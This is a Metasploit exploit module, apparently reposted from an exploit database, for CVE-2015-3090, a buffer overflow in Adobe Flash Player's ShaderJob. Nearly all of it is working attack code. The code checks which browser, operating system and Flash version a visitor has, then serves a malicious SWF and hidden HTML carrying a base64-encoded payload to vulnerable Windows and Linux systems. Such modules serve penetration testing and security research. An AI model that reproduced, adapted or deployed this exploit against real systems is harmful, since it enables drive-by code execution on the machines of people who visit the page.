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# Adobe Flash Player ShaderJob Buffer Overflow Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ShaderJob Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability related to the ShaderJob workings on
Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the
same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute
of the ShaderJob after starting the job it's possible to create a buffer overflow condition
where the size of the destination buffer and the length of the copy are controlled. This
module has been tested successfully on:
* Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169.
* Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169.
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169.
* Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Evans', # Vulnerability discovery
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-3090'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-09.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/05/angler_ek_exploiting.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-2015-3090-flash-up-to-1700169-and.html'],
['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinear-resampling-with-flash-player-and-pixel-bender/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end

false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^17./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.169')
when 'Linux'
return true if ver =~ /^11./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.457')
end

false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'May 12 2015',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf

super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]

if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3090', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-06-23]

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